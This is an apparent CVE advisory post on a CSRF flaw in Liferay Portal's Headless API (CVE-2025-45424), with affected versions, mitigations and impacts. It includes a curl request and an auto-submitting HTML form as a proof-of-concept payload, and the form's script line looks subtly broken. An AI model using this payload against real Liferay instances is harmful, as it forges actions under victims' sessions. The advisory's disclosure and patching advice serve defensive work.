Liferay Portal, CSRF, CVE-2025-45424 (High)

Listen to this Post

The CVE-2025-45424 vulnerability is a Cross-Site Request Forgery (CSRF) flaw within the Headless API of Liferay Portal. The vulnerability exists because the affected endpoints do not adequately validate the source of requests. A specific attack vector involves the manipulation of the ‘endpoint’ parameter. An attacker can craft a malicious webpage that, when visited by an authenticated Liferay user, silently submits a forged HTTP request to the vulnerable Liferay instance. This request leverages the ‘endpoint’ parameter to target and execute any Headless API action, effectively performing actions with the privileges of the unsuspecting victim. This allows for unauthorized creation, modification, or deletion of content and data within the portal.
Platform: Liferay Portal/DXP
Version: 7.4.0-7.4.3.107
Vulnerability : CSRF
Severity: High
date: 2025-10-27

Prediction: 2025-11-10

What Undercode Say:

curl -X POST 'http://<target>/o/headless-admin-user/v1.0/accounts' \
-H 'Content-Type: application/json' \
-H 'Authorization: Basic ...' \
--data '{"name":"Attacker"}'
<html>
<body>

<form action="http://<liferay-host>/o/headless-admin-user/v1.0/accounts" method="POST">
<input type="hidden" name="name" value="Hacked Account" />
</form>

<script>document.forms[bash].submit();</script>
</body>
</html>

How Exploit:

Attacker crafts malicious site.

Site sends forged POST request.

Uses victim’s active session.

Modifies endpoint parameter.

Protection from this CVE

Update to version 7.4.3.108.

Implement anti-CSRF tokens.

Validate Origin and Referer headers.

Impact:

Unauthorized data modification.

Account takeover via API.

Content manipulation.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top